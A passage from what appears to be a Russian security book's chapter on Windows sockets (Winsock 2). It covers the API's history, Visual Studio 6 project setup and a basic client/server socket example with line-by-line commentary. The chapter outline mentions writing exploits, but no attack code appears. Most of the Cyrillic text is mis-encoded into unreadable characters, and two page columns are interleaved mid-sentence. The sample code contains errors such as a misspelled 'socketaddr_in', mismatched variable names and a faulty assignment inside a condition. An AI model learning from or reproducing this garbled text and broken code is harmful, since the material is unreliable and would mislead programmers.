íîì êîìïüþòåðå. Â ñèñòåìå Linux òàêîé ôóíêöèè íåò, è äëÿ äîñòèæåíèÿ àíà-
Глава 4
ëîãè÷íîãî ðåçóëüòàòà ïðèõîäèòñÿ ïðèáåãàòü ê ôóíêöèè ioctl().

Â: Íà ïðèìåðå êàêèõ ïðîãðàìì ìîæíî íàó÷èòüñÿ ïðîãðàììèðîâàíèþ


BSD-ñîêåòîâ â èíòåðåñàõ îáåñïå÷åíèÿ áåçîïàñíîñòè?
Î: Äâå ñàìûõ ðàñïðîñòðàíåííûõ ïðîãðàììû òàêîãî ðîäà – ýòî NMAP è
Сокеты на платформе
Nessus. NMAP ïðèìåíÿåòñÿ äëÿ ñêàíèðîâàíèÿ ñåòåé TCP/IP â ïîèñêàõ ðàáîòàþ-
ùèõ õîñòîâ è ñëóæá. Nessus – ýòî áåñïëàòíûé, ïîñòàâëÿåìûé ñ èñõîäíûìè
òåêñòàìè ñêàíåð áåçîïàñíîñòè, ïîçâîëÿþùèé, ïîìèìî ñêàíèðîâàíèÿ ñåòåé,
Windows (Winsock)
åùå è óäàëåííî ïðîâåðÿòü íàëè÷èå óÿçâèìîñòåé, êîòîðûìè ìîæåò âîñïîëü-
çîâàòüñÿ õàêåð.
Îáà ïðîåêòà – õîðîøåå ïîñîáèå ïî ïðèìåíåíèþ BSD-ñîêåòîâ â ñôåðå èí-
ôîðìàöèîííîé áåçîïàñíîñòè, îðãàíèçàöèè àòàê è ïðîòèâîäåéñòâèÿ àòàêàì.
Èõ ìîæíî çàãðóçèòü ñî ñëåäóþùèõ ñàéòîâ:
 NMAP – http://www.insecure.org/nmap/;
 Nessus – http://www.nessus.org. Описание данной главы:
 Обзор Winsock
Â: Ãäå ìîæíî ïîëó÷èòü äåòàëüíóþ èíôîðìàöèþ î ñåìåéñòâå ïðîòîêîëîâ  Winsock 2.0
TCP/IP è ïðîãðàììèðîâàíèè BSD-ñîêåòîâ?  Программирование клиентских приложений
Î: Ìû ðåêîìåíäóåì ñëåäóþùèå êíèãè íà ýòó òåìó:  Программирование серверных приложений
 W.R. Stevens «TCP/IP Illustrated, Volume 1»;  Написание эксплойтов и программ про проверки наличия
 W.R. Stevens «UNIX Network Programming, Volume 1: The Sockets Net- уязвимостей
working API».  Примеры
См. также главы 3 и 5

 Резюме
 Обзор изложенного материала
 Часто задаваемые вопросы
198 Глава 4. Сокеты на платформе Windows (Winsock) Обзор Winsock 199

16-ðàçðÿäíûõ ïðèëîæåíèé ïðåäíàçíà÷åíà áèáëèîòåêà winsock.dll, à äëÿ


Введение 32-ðàçðÿäíûõ – wssock32.dll. Åùå îäíèì çàìåòíûì íåäîñòàòêîì Winsock áûëà
íåâîçìîæíîñòü çàïóñòèòü îäíîâðåìåííî áîëåå îäíîãî ýêçåìïëÿðà. Ýòè îã-
 ïðîøëîì ñèñòåìà Linux, íå áóäó÷è åäèíñòâåííîé íà ðûíêå, ïîëüçîâàëàñü ðàíè÷åíèÿ ñëåäóåò ñ÷èòàòü íå ñòîëüêî äåôåêòàìè, ñêîëüêî êîìïðîìèññîì,
îñîáûì ïðåäïî÷òåíèåì ó õàêåðîâ. Â òå âðåìåíà ïî÷òè âñå ýêñïëîéòû ïèñà- íà êîòîðûé ïðèøëîñü ïîéòè, ÷òîáû ïðîãðàììèñòû ìîãëè ïîëüçîâàòüñÿ ñîêå-
ëèñü íà ïëàòôîðìå Linux è òîëüêî íà íåé ìîãëè áûòü îòêîìïèëèðîâàíû. òàìè â ðàííèõ îïåðàöèîííûõ ñèñòåìàõ Microsoft.
Ñ òåõ ïîð ïëàòôîðìà Microsoft Win32 ñòàëà ãîðàçäî ÷àùå ïðèìåíÿòüñÿ â êîð- Èç-çà îãðàíè÷åíèé, ïðèñóùèõ ïåðâîé âåðñèè Winsock, ñåãîäíÿ ñòàíäàðò-
ïîðàòèâíûõ ñèñòåìàõ è óæå ïî÷òè ñðàâíÿëàñü ñ Linux â ÷àñòè êîëè÷åñòâà ñî- íûì API äëÿ ïðîãðàììèðîâàíèÿ ñîêåòîâ â Windows ÿâëÿåòñÿ Winsock 2. Ýòà
çäàííûõ íà íåé ýêñïëîéòîâ. ×òîáû íàïèñàòü ýêñïëîéò â ñðåäå Microsoft Win32 âåðñèÿ âïåðâûå ïîÿâèëàñü â ÎÑ Windows 98 è Windows NT 4.0. Ñ òåõ ïîð îíà
èëè çàùèòèòüñÿ îò íåãî, íóæíî õîðîøî ðàçáèðàòüñÿ â API WinSock 1 è, ÷òî âêëþ÷àåòñÿ âî âñå îïåðàöèîííûå ñèñòåìû Windows.
åùå áîëåå âàæíî, WinSock 2.
Èíòåðôåéñû ïðîãðàììèðîâàíèÿ WinSock 1 è WinSock 2 ïðåäíàçíà÷åíû äëÿ
íàïèñàíèÿ ñåòåâûõ ïðîãðàìì. WinSock 2 èñïîëüçóåò áèáëèîòåêó ws2_32.dll äëÿ Примечание
âçàèìîäåéñòâèÿ ñî ñëîåì Winsock èëè ñ èíòåðôåéñîì ñåðâèñ-ïðîâàéäåðà
Представленные в этой главе программы, не будут ни компилиро
(Service Provider Interface – SPI), êîòîðûé îáùàåòñÿ ñ ôèçè÷åñêîé àïïàðàòóðîé.
ваться, ни работать, если на компьютере отсутствует библиотека
Ïîñêîëüêó ïðîãðàììèñòû ðàáîòàþò òîëüêî íà óðîâíå Winsock 2 API, òî îá
ws2_32.dll, поскольку именно она содержит всю функциональность
àïïàðàòóðå îíè ìîãóò íè÷åãî íå çíàòü. Öåëü Winsock API – ïðåäîñòàâèòü
Winsock 2. Загрузить эту библиотеку можно с сайта Microsoft.
ïðîãðàììèñòó ñðåäñòâà äëÿ ìàêñèìàëüíî ïîëíîãî óïðàâëåíèÿ òåì, ÷òî ïî-
ñûëàåòñÿ ôèçè÷åñêîìó óñòðîéñòâó è ïðèõîäèò îò íåãî, íå çàáîòÿñü ïðè ýòîì
î òîì, ÷òî ïðåäñòàâëÿåò ñîáîé ñàìî óñòðîéñòâî. Ïðîèçâîäèòåëè àïïàðàòóðû Ñïåöèôèêàöèÿ Winsock 2 îðèåíòèðîâàíà òîëüêî íà 32-ðàçðÿäíóþ ïëàò-
äîëæíû ïðèäåðæèâàòüñÿ ñïåöèôèêàöèè Windows SPI, åñëè õîòÿò, ÷òîáû ñòà- ôîðìó, ñëåäîâàòåëüíî, â Windows 3.11, NT 3.51 èëè áîëåå ðàííèõ 16-ðàçðÿä-
ðûå è íîâûå ïðîãðàììû ìîãëè ðàáîòàòü ñ èõ îáîðóäîâàíèåì. íûõ ÎÑ îíà ðàáîòàòü íå áóäåò. Îäíàêî, ïðîãðàììû, íàïèñàííûå äëÿ ñòàðûõ
Àáñîëþòíîå áîëüøèíñòâî ïðîãðàìì äëÿ Windows, âëþ÷àþùèõ ðàáîòó ÎÑ ñ èñïîëüçîâàíèåì Winsock 1.1, áóäóò ðàáîòàòü è â íîâûõ ñèñòåìàõ, ïî-
ñ ñîêåòàìè, òàê èëè èíà÷å èñïîëüçóþò API Winsock èëè áîëåå íîâóþ åãî âåð- ñêîëüêó Winsock 2 îáðàòíî ñîâìåñòèìà ïî÷òè áåç îãðàíè÷åíèé. Åäèíñòâåí-
ñèþ Winsock 2. Ïî ñðàâíåíèþ ñ Winsock èëè Winsock 1.1, âåðñèÿ Winsock 2 íîå èñêëþ÷åíèå – ýòî èñïîëüçîâàíèå òî÷åê ïîäêëþ÷åíèÿ (hook) ïðè áëîêè-
ïðåäîñòàâëÿåò ãîðàçäî áîëåå ðàçâèòóþ ôóíêöèîíàëüíîñòü. ðîâêàõ; îíè â Winsock 2 íå ïîääåðæèâàþòñÿ. Ê ÷èñëó íîâûõ ïî ñðàâíåíèþ
ñ Winsock 1.1 âîçìîæíîñòåé îòíîñÿòñÿ:
 Äîïîëíèòåëüíûå ïðîòîêîëû
ïðîòîêîëû. Asynchronous Transfer Mode (ATM),
Примечание Internetwork Packet Exchange (IPX)/Sequenced Packet Exchange (SPX) è
Digital Equi pment Corporation Network (DECnet);
Код, представленный в этой главе, был написан и протестирован
в среде Visual Studio 6 для Windows 2000 и XP.
 Óñëîâíûé ïðèåì ñîåäèíåíèÿ
ñîåäèíåíèÿ. Âîçìîæíîñòü îòâåðãíóòü çàïðîñ íà ñî-
åäèíåíèå;
 Ìíîãîóðîâíåâûå ñåðâèñ-ïðîâàéäåðû
ñåðâèñ-ïðîâàéäåðû. Âîçìîæíîñòü äîáàâëÿòü ñåð-
âèñû ê ñóùåñòâóþùèì ïðîâàéäåðàì òðàíñïîðòíîãî óðîâíÿ;
Обзор Winsock  Ìíîãîòî÷å÷íûå ñîåäèíåíèÿ è ãðóïïîâîå âåùàíèå
çàâèñèìûå îò ïðîòîêîëà API;
âåùàíèå. Çàâèñèìûå è íå-

Ïåðâàÿ âåðñèÿ Winsock áûëà âûïóùåíà â 1993 ãîäó. Îíà áûëà îãðàíè÷åíà â òîì  Ìíîæåñòâåííûå ïðîñòðàíñòâà èìåí èìåí. Âûáîð ïðîòîêîëà, ïî êîòîðîìó
ñìûñëå, ÷òî ìîãëà ðàáîòàòü òîëüêî ñ ñåìåéñòâîì ïðîòîêîëîâ TCP/IP. Winsock ðàçðåøàòü èìåíà õîñòîâ è íàõîäèòü ñëóæáû;
2 ïîääåðæèâàåò è ìíîãèå äðóãèå ïðîòîêîëû. Ñ Winsock ñâÿçàíû äâå äèíàìè-  Ïîääåðæêà íåñêîëüêèõ ïðîòîêîëîâ
ïðîòîêîëîâ. Àðõèòåêòóðà îòêðûòûõ ñèñòåì
÷åñêè çàãðóæàåìûõ áèáëèîòåêè (DLL), âûáèðàåìûå â çàâèñèìîñòè îò òîãî, Windows (Open Systems Architecture) ïîçâîëÿåò ñåðâèñ-ïðîâàéäåðàì
äëÿ êàêîé – 16- èëè 32-ðàçðÿäíîé ïëàòôîðìû ïèøåòñÿ ïðèëîæåíèå. Äëÿ âñòðàèâàòü (plug-in) è íàäñòðàèâàòü (pile-on) íîâûå âîçìîæíîñòè;
200 Глава 4. Сокеты на платформе Windows (Winsock) Winsock 2.0 201

 Ââîä/âûâîä ñ ïåðåêðûòèåì è îáúåêòû-ñîáûòèÿ


îáúåêòû-ñîáûòèÿ. Ðàñïðîñòðàíåíèå ñó-  Óêàçàòü èìÿ áèáëèîòåêè íåïîñðåäñòâåííî â ôàéëå ñ ðàñøèðåíèåì .c
ùåñòâóþùèõ ìåõàíèçìîâ Windows íà ñîêåòû äëÿ ïîâûøåíèÿ ïðîèçâî- èëè .cpp. Ýòî íàèáîëåå ïðîñòîé è ïðåäïî÷òèòåëüíûé ìåòîä, îñîáåííî
äèòåëüíîñòè; åñëè âû õîòèòå ïåðåäàòü ñâîé ïðîåêò â îáùåå ïîëüçîâàíèå;
 Êà÷åñòâî îáñëóæèâàíèÿ (QoS)
(QoS). Ìîíèòîðèíã è íàñòðîéêà ïîëîñû ïðî-  Âêëþ÷èòü áèáëèîòåêè â ðàáî÷åå ïðîñòðàíñòâî ïðîåêòà, íî òîãäà ïåðå-
ïóñêàíèÿ, äîñòóïíîé ñîêåòó; äàâàòü ñâîé êîä äðóãèì ëþäÿì ñòàíîâèòñÿ ñëîæíåå. Åñëè âû ñêà÷àëè èç
 Ââîä ñ îáúåäèíåíèåì è âûâîä ñ ðàñïðåäåëåíèåì (scatter-gather)
(scatter-gather). Âîç- ñåòè ïðîãðàììó, à îíà íå êîìïèëèðóåòñÿ, ïðîâåðüòå, âñå ëè áèáëèîòåêè
ìîæíîñòü ñîáèðàòü îòïðàâëÿåìûé ïàêåò èç íåñêîëüêèõ áóôåðîâ è ðàç- óêàçàíû. Íèæå ïðèâîäÿòñÿ ïîäðîáíûå èíñòðóêöèè î òîì, êàê ïîëüçî-
íîñèòü ïðèíÿòûé ïàêåò ïî íåñêîëüêèì áóôåðàì; âàòüñÿ îáîèìè ñïîñîáàìè.
 Ðàçäåëåíèå ñîêåòîâ
ñîêåòîâ. Íåñêîëüêî ïðîöåññîâ ìîãóò ñîâìåñòíî ïîëüçî-
âàòüñÿ îäíèì ñîêåòîì; Компоновка с использованием Visual Studio 6.0
 Íåçàâèñèìîñòü ïðîòîêîëà òðàíñïîðòíîãî óðîâíÿóðîâíÿ. Âîçìîæíîñòü
1. Íàæìèòå Alt+F7 äëÿ âõîäà â ìåíþ Project (Ïðîåêò) è âûáåðèòå ïóíêò
âûáðàòü ïðîòîêîë â çàâèñèìîñòè îò íåîáõîäèìîé ñëóæáû;
Settings (Ïàðàìåòðû).
 Ìåõàíèçì ðàñøèðåíèé ïðîèçâîäèòåëÿìè
ïðîèçâîäèòåëÿìè. Ôèðìû-ïðîèçâîäèòåëè
2. Â äèàëîãîâîì îêíå Project Settings (Ïàðàìåòðû ïðîåêòà) ïåðåéäèòå íà
ìîãóò äîáàâëÿòü ñîáñòâåííûå API.
âêëàäêó Link (Êîìïîíîâêà) è äàëåå óêàæèòå êóðñîðîì íà ïîëå Object/
Library modules (Îáúåêòíûå ôàéëû / Áèáëèîòå÷íûå ìîäóëè). Ââåäèòå
Winsock 2.0 èìÿ áèáëèîòåêè ws2_32.dll è íàæìèòå OK
OK.
3. Òåïåðü âàøà ïðîãðàììà áóäåò ñêîìïîíîâàíà ñ áèáëèîòåêîé ws2_32.dll
(ñì. ðèñ. 4.1).
Ïðåæäå âñåãî, îòêðîéòå Visual Studio 6.0. Ýêñïëîéòû ïèøóòñÿ èñêëþ÷èòåëü-
íî êàê êîíñîëüíûå ïðèëîæåíèÿ, òî åñòü ïðåäíàçíà÷åíû äëÿ çàïóñêà èç îêíà
êîìàíä Windows, ïîõîæåãî íà òåðìèíàë â UNIX. Êàê è êîìàíäíûå óòèëèòû
â UNIX, êîíñîëüíîå ïðèëîæåíèå ìîæåò ïðèíèìàòü ïàðàìåòðû. Äëÿ ñîçäàíèÿ
íîâîãî ðàáî÷åãî ïðîñòðàíñòâà, ñîäåðæàùåãî ïóñòîå êîíñîëüíîå ïðèëîæå-
íèå, âûïîëíèòå ñëåäóþùèå äåéñòâèÿ.
1. Â ìåíþ File (Ôàéë) âûáåðèòå ïóíêò New (Ñîçäàòü).
2. Âûáåðèòå èç ñïèñêà ïóíêò Win32 CCoonsole Appl icatio
icationn , ïðèñâîéòå íî-
âîìó ïðîåêòó èìÿ è íàæìèòå OK
OK.
3. Âûáåðèòå An empty project (Ïóñòîé ïðîåêò) è íàæìèòå êíîïêó Finish
Finish,
÷òîáû íà÷àòü ðàáîòó.
4. Èç ìåíþ File âûáåðèòå ïóíêò New
New.
5. Âûáåðèòå âàðèàíò C/C++ Source File (Èñõîäíûé òåêñò íà C/C++) è íà-
æìèòå OK
OK. Рис. 4.1. Диалоговое окно Project Settings в Visual Studio
6. Â ýòîò ìîìåíò íà ýêðàíå äîëæíî ïîÿâèòüñÿ ïóñòîå îêíî äëÿ ââîäà èñ-
õîäíîãî òåêñòà ïðîãðàììû. Задание компоновки в исходном коде
 ïðîãðàììó ñëåäóåò âêëþ÷èòü çàãîëîâî÷íûé ôàéë Winsock 2 äèðåêòèâîé 1. Ïîìåñòèòå ñëåäóþùèé êîä ñðàçó ïîä äèðåêòèâàìè #include: #pragma
#include <winsock2.h>. Êðîìå òîãî, äëÿ ðàáîòû Winsock 2 ïðîãðàììà äîëæíà comment(l ib, «ws2_32.lib»).
áûòü ñêîìïîíîâàíà ñ ñîîòâåòñòâóþùåé áèáëèîòåêîé, èíà÷å êîìïîíîâùèê 2. Òåïåðü âàøà ïðîãðàììà äîëæíà áûòü ñêîìïîíîâàíà ïðàâèëüíî.
íå ñìîæåò îòûñêàòü íåîáõîäèìûå ôóíêöèè.  Visual Studio 6.0 äëÿ êîìïîíîâ- Ïðåæäå ÷åì íà÷àòü èñïîëüçîâàòü ôóíêöèè èç Winsock 2 API, íåîáõîäèìî
êè ñ íåêîòîðîé áèáëèîòåêîé åñòü äâà ñïîñîáà: ñîçäàòü îáúåêò WSADATA, êîòîðûé îñóùåñòâëÿåò äîñòóï ê áèáëèîòåêå
202 Глава 4. Сокеты на платформе Windows (Winsock) Winsock 2.0 203

ws2_32.dll. Â ïðèìåðå 4.1 ýòîò îáúåêò îáëàäàåò ìíîãèìè ñâîéñòâàìè, èç êîòî- 43 printf("Íå óäàåòñÿ îòïðàâèòü äàííûå.");
ðûõ íàñ áóäåò èíòåðåñîâàòü òîëüêî wVersion. Ìàêðîñ MAKEWORD() ïðåä- 44 exit(1);
45 }
ñòàâëÿåò íîìåð âåðñèè â ñòàíäàðòíîì ôîðìàòå; òàê, MAKEWORD(2, 0) ñîîò- 46 socketaddr_in serverInfo;
âåòñòâóåò âåðñèè 2.0. 47 serverInfo.sin_family = AF_INET;
48 serverInfo.sin_addr.s_addr = INADDR_ANY;
Пример 4.1. Объект WSADATA 49 listen(MySock, 10);
1 WSADATA wsaData; 50 SOCKET NewSock;
2 WORD wVersionRequested; 51 NewSock = accept(MySock, NULL, NULL);
3 wVersionRequested = MAKEWORD(2, 0); 52 closesocket(MySock);
4 WSAStartup(wVersionRequested, &wsaData); 53 WSACleanup();
5 if ( WSAStartup(wVersionRequested, &wsaData) < 0 )
6 {
7 printf("Íåïðàâèëüíàÿ âåðñèÿ");
Анализ
8 exit(1);
 Â ñòðîêàõ 1–9 äëÿ èíèöèàëèçàöèè Winsock 2 âûçûâàåòñÿ ôóíêöèÿ
9 }
10 SOCKET MySocket;
WSAStartup(), êîòîðàÿ ïðèíèìàåò äâà ïàðàìåòðà: íîìåð âåðñèè è îáúåêò
11 MySock = socket(AF_INET, SOCK_STREAM, 0); WSADATA, êîòîðûé è íàäî èíèöèàëèçèðîâàòü.  ñëó÷àå îøèáêè ôóíê-
12 MySock = socket(AF_INET, SOCK_DGRAM, 0); öèÿ âîçâðàùàåò êîä. ×àùå âñåãî ýòî ñëó÷àåòñÿ, åñëè çàïðîøåííûé íî-
13 struct hostent *target_ptr; ìåð âåðñèè áîëüøå èìåþùåãîñÿ íà ìàøèíå. Åñëè æå âû çàïðàøèâàåòå
14 target_ptr = gethostbyname( targetip );
áîëåå ðàííþþ âåðñèþ, òî ôóíêöèÿ çàâåðøàåòñÿ óñïåøíî.
15 if( target_ptr = gethostbyname( targetip ) == NULL )
16 {
 Â ñòðîêàõ 10–12 ñîçäàåòñÿ è èíèöèàëèçèðóåòñÿ ñîêåò. Ôóíêöèè socket()
17 printf("Íå óäàåòñÿ ðàçðåøèòü èìÿ."); ïåðåäàþòñÿ òðè ïàðàìåòðà: àäðåñíîå ñåìåéñòâî, òèï ñîêåòà è ïðîòîêîë.
18 exit(1); Â ýòîé êíèãå ìû èìååì äåëî òîëüêî ñ àäðåñíûì ñåìåéñòâîì AF_INET. Òèï
19 } ñîêåòà ìîæåò áûòü SOCK_STREAM èëè SOCK_DGRAM. SOCK_STREAM ãî-
20 struct sockaddr_in sock;
âîðèò î òîì, ÷òî äîëæíî áûòü ñîçäàíî äâóíàïðàâëåííîå ïîòîêîâîå
21 memcpy(&sock.sin_addr.s_addr,target_ptr->h_addr,target_ptr->h_length);
22 sock.sin_family = AF_INET; ñîåäèíåíèå, äëÿ ñåìåéñòâà AF_INET ýòî îçíà÷àåò ïðîòîêîë TCP. Êîí-
23 sock.sin_port = htons( port ); ñòàíòà SOCK_DGRAM îçíà÷àåò, ÷òî ñîêåò íå òðåáóåò óñòàíîâêè ñîåäè-
24 connect (MySock, (struct sockaddr *)&sock, sizeof (sock) ); íåíèÿ, â ñëó÷àå ñåìåéñòâà AF_INET áóäåò âûáðàí ïðîòîêîë UDP. Ïîñëå-
25 if ( connect (MySock, (struct sockaddr *)&sock, sizeof (sock) ) ) äíèé ïàðàìåòð ãîâîðèò, êàêîé ïðîòîêîë áóäåò èñïîëüçîâàòüñÿ äëÿ ïåðå-
26 {
äà÷è äàííûõ. Çíà÷åíèå çàâèñèò îò óêàçàííîãî àäðåñíîãî ñåìåéñòâà.
27 printf("Íå óäàåòñÿ óñòàíîâèòü ñîåäèíåíèå.");
28 exit(1); Ñêîðåå âñåãî, âàì íèêîãäà íå ïðèäåòñÿ çàäàâàòü ýòîò ïàðàìåòð ÿâíî,
29 } òàê ÷òî îñòàâëÿéòå åãî ðàâíûì íóëþ.
30 char *recv_string = new char [MAX];  Â ñòðîêàõ 13–19 ãîòîâèòñÿ èíôîðìàöèÿ îá àäðåñå è íîìåðå ïîðòà äëÿ
31 int nret = 0; ñîêåòà. Ìîæíî óêàçûâàòü êàê IP-àäðåñ, òàê è ïîëíîñòüþ îïðåäåëåííîå
32 nret = recv( MySock, recv_string, MAX, 0 );
äîìåííîå èìÿ õîñòà, êîòîðîå åùå ïðåäñòîèò ðàçðåøèòü. Ïðåîáðàçîâàíèå
33 if( (nret = recv( MySock, recv_string, MAX, 0 )) <= 0 )
34 { äîìåííîãî èìåíè â ôîðìó, ïðèãîäíóþ äëÿ êîíôèãóðèðîâàíèÿ ñîêåòà,
35 printf("Íå ïîëó÷åíî íèêàêèõ äàííûõ."); ïðîèçâîäèòñÿ ñ ïîìîùüþ ñòðóêòóðû hostent è ôóíêöèè gethostbyname(),
36 exit(1); êîòîðàÿ âîçâðàùàåò òàêóþ ñòðóêòóðó. Åé ïåðåäàåòñÿ ñòðîêà, èäåíòèôè-
37 } öèðóþùàÿ óäàëåííóþ ìàøèíó. Ýòî ìîæåò áûòü IP-àäðåñ â òî÷å÷íî-äå-
38 char send_string [ ] = "\n\r Hello World \n\r\n\r";
ñÿòè÷íîé íîòàöèè, ïîëíîñòüþ îïðåäåëåííîå äîìåííîå èìÿ, èìÿ ìà-
39 int nret = 0;
40 nret = send( MySock, send_string, sizeof( send_string ) -1, 0 ); øèíû â ëîêàëüíîé ñåòè èëè ëþáîå äðóãîå èìÿ, êîòîðîå ïîíèìàåò ïðî-
41 if( (nret=send( MySock, send_string, sizeof(send_string)-1, 0)) <= 0 ) ãðàììà nslookup. Ôóíêöèÿ gethostbyname() âåðíåò NULL, åñëè íå ñìîæåò
42 { ðàçðåøèòü óêàçàííîå èìÿ.
204 Глава 4. Сокеты на платформе Windows (Winsock) Winsock 2.0 205

 ñòðóêòóðó struct hostent áóäåò ïîìåùåí äâîè÷íûé IP-àäðåñ. Åãî íåîáõî- ïàðàìåòð, êàê è â ñëó÷àå recv(), – ýòî äåñêðèïòîð ñîêåòà, âòîðîé – óêà-
äèìî ñêîïèðîâàòü â ñòðóêòóðó sockaddr_in. Ñíà÷àëà â ñòðîêå 20 îáúÿâ- çàòåëü íà áóôåð, ñîäåðæàùèé îòïðàâëÿåìûå äàííûå, òðåòèé – äëèíà
ëÿåòñÿ ïåðåìåííàÿ sock ýòîãî òèïà, à çàòåì sin_addr.s_addr êîïèðóåòñÿ àä- ýòîãî áóôåðà. Îáðàòèòå âíèìàíèå, ÷òî ìû âû÷èòàåì 1 èç äëèíû áóôå-
ðåñ èç ñòðóêòóðû, íà êîòîðóþ óêàçûâàåò target_ptr (ñòðîêà 21). Ýòî äåëàåò ðà, ïîëó÷åííîé ñ ïîìîùüþ sizeof(), ÷òîáû íå ó÷èòûâàòü (è íå ïåðåäà-
ôóíêöèÿ memcpy(), êîòîðàÿ ðàáîòàåò àíàëîãè÷íî strcpy(), òîëüêî íå ñî âàòü) çàâåðøàþùèé íóëü1. Ïîñëåäíèé ïàðàìåòð òîæå ñîäåðæèò ôëàãè.
ñòðîêàìè, à ñ áëîêàìè äâîè÷íûõ äàííûõ. Åé ïåðåäàþòñÿ òðè ïàðàìåòðà: Ôóíêöèÿ âîçâðàùàåò ÷èñëî îòïðàâëåííûõ áàéòîâ, êîòîðîå ìîæåò áûòü
êóäà êîïèðîâàòü, îòêóäà êîïèðîâàòü è ñêîëüêî áàéòîâ êîïèðîâàòü. è ìåíüøå çàäàííîãî òðåòüèì ïàðàìåòðîì2.*
 Ïåðåìåííàÿ sock ïîêà åùå íå âïîëíå ãîòîâà, â ñòðîêàõ 22 è 23 çàäàåòñÿ  Â ñòðîêàõ 46–49 ïðèâåäåí ôðàãìåíò êîäà, õàðàêòåðíûé äëÿ ñåðâåðíûõ
àäðåñíîå ñåìåéñòâî è íîìåð ïîðòà. Èäåíòèôèêàòîð àäðåñíîãî ñåìåé- ïðèëîæåíèé, êîòîðûì íóæåí ñîêåò, íàõîäÿùèéñÿ â ðåæèì îæèäàíèÿ
ñòâà (AF_INET) ïîìåùàåòñÿ â ïîëå sin_family, à íîìåð ïîðòà, ñîîòâåò- çàïðîñîâ íà ñîåäèíåíèå. Äëÿ ïåðåâîäà ñîêåòà â òàêîé ðåæèì ñëóæèò ôóí-
ñòâóþùèé ñëóæáå, ñ êîòîðîé ìû õîòèì ñîåäèíèòüñÿ, – â ïîëå sin_port. êöèÿ l isten(), êîòîðàÿ ïðèíèìàåò äâà ïàðàìåòðà è âîçâðàùàåò öåëîå ÷èñ-
Îòìåòèì, ÷òî çíà÷åíèå â ïîëå sin_port äîëæíî áûòü ïðåäñòàâëåíî ëî. Íî ñíà÷àëà ñîêåò íóæíî ñîçäàòü, óêàçàâ àäðåñ ëîêàëüíîãî êîìïüþ-
â ñåòåâîì ïîðÿäêå áàéòîâ, ïîñêîëüêó èìåííî òàêîé ïîðÿäîê ïðèíÿò òåðà è íîìåð ïðîñëóøèâàåìîãî ïîðòà. Çàïèøèòå â ïîëå sin_addr.s_addr
â ñåòÿõ TCP/IP. Äëÿ ïðåîáðàçîâàíèÿ öåëîãî ÷èñëà èç ìàøèííîé ôîðìû çíà÷åíèå INADDR_ANY, îçíà÷àþùåå, ÷òî âû ãîòîâû ïðèíèìàòü çà-
â ñåòåâóþ ïðèìåíÿåòñÿ ôóíêöèÿ htons(). ïðîñû íà ñîåäèíåíèå, ïîñòóïàþùèå íà ëþáîé èç ñåòåâûõ èíòåðôåéñîâ
 Â ñòðîêàõ 24–29 ñ ïîìîùüþ ôóíêöèè connect() óñòàíàâëèâàåòñÿ ñîåäè- êîìïüþòåðà. Ïåðâûì ïàðàìåòðîì l isten() ÿâëÿåòñÿ äåñêðèïòîð ñîçäàí-
íåíèå. Ýòà ôóíêöèÿ ïðèíèìàåò òðè ïàðàìåòðà è âîçâðàùàåò êîä çàâåð- íîãî ñîêåòà, âòîðûì – äëèíà î÷åðåäè îæèäàþùèõ ñîåäèíåíèé.
øåíèÿ îïåðàöèè. Ïåðâûé ïàðàìåòð – ýòî äåñêðèïòîð ñîêåòà, â äàííîì  Â ñòðîêàõ 50–51 âûçûâàåòñÿ ôóíêöèÿ accept(), êîòîðàÿ áóäåò æäàòü, ïîêà
ñëó÷àå MySock. Âòîðîé – óêàçàòåëü íà ñòðóêòóðó, ñîäåðæàùóþ àäðåñíóþ íå ïðèäåò çàïðîñ îò êëèåíòà. Îíà ïðèíèìàåò òðè ïàðàìåòðà è âîçâðàùà-
èíôîðìàöèþ, òî åñòü íîìåð ïîðòà, IP-àäðåñ è àäðåñíîå ñåìåéñòâî. Âñå åò äåñêðèïòîð íîâîãî ñîêåòà. Ïåðâûé ïàðàìåòð – äåñêðèïòîð ñîêåòà,
ýòî óæå ïîìåùåíî â ïåðåìåííóþ sock. Ïîñëåäíèì ïàðàìåòðîì ÿâëÿåò- íàõîäÿùåãîñÿ â ðåæèìå îæèäàíèÿ, âòîðîé – óêàçàòåëü íà ñòðóêòóðó,
ñÿ äëèíà âòîðîãî ïàðàìåòðà, äëÿ åå îïðåäåëåíèÿ ïðèìåíÿåòñÿ âñòðîåí- â êîòîðîé áóäåò âîçâðàùåí àäðåñ êëèåíòà, òðåòèé – äëèíà âòîðîãî ïàðà-
íàÿ â ÿçûê ôóíêöèÿ sizeof(). Åñëè îøèáîê íå ïðîèçîøëî, connect() âîç- ìåòðà. Ïîñëåäíèå äâà ïàðàìåòðà íåîáÿçàòåëüíû, âìåñòî íèõ ìîæíî ïå-
âðàùàåò 0. Êàê è â ñëó÷àå ñ WSAStartup(), íàñòîÿòåëüíî ðåêîìåíäóåòñÿ ðåäàòü NULL. Âîçâðàùåííûé ôóíêöèåé accept() ñîêåò ìîæíî èñïîëüçî-
ïðîâåðÿòü êîä âîçâðàòà, ÷òîáû áûòü óâåðåííûì, ÷òî ñîåäèíåíèå äåé- âàòü äëÿ ïîñëåäóþùåãî îáìåíà äàííûìè ñ êëèåíòîì.
ñòâèòåëüíî óñòàíîâëåíî.   ñòðîêàõ 52 è 53 ïðîèçâîäèòñÿ î÷èñòêà, âàæíàÿ îïåðàöèÿ, êîòîðîé ÷àñòî
  ñòðîêàõ 30–37 ìû çàíèìàåìñÿ ïðèåìîì äàííûõ îò óäàëåííîé ìàøè- ïðåíåáðåãàþò.  ïðîöåññå î÷èñòêè âûçûâàþòñÿ äâå ôóíêöèè: closesocket() è
íû. Äëÿ ýòîãî ïðåäíàçíà÷åíà ôóíêöèÿ recv(), êîòîðîé ïåðåäàåòñÿ ÷åòû- WSACleanup(). Ïåðâàÿ çàêðûâàåò ñîêåò è îñâîáîæäàåò âñå çàíÿòûå èì
ðå ïàðàìåòðà: äåñêðèïòîð óæå ñîåäèíåííîãî ñîêåòà (MySock), áóôåð, ðåñóðñû, âòîðàÿ îñâîáîæäàåò ïàìÿòü, âûäåëåííóþ îáúåêòó WSADATA,
â êîòîðûé áóäóò ñêîïèðîâàíû ïðèøåäøèå äàííûå, äëèíà ýòîãî áóôåðà è âûãðóæàåò áèáëèîòåêó ws2_32.dll. Ïî ìåðå âîçðàñòàíèÿ ðàçìåðà è
è íàáîð ôëàãîâ, óòî÷íÿþùèõ ïîðÿäîê ðàáîòû.  ÷àñòíîñòè, ôëàã ñëîæíîñòè âàøèõ ïðîãðàìì î÷åíü âàæíî íå çàáûâàòü ñâîåâðåìåííî
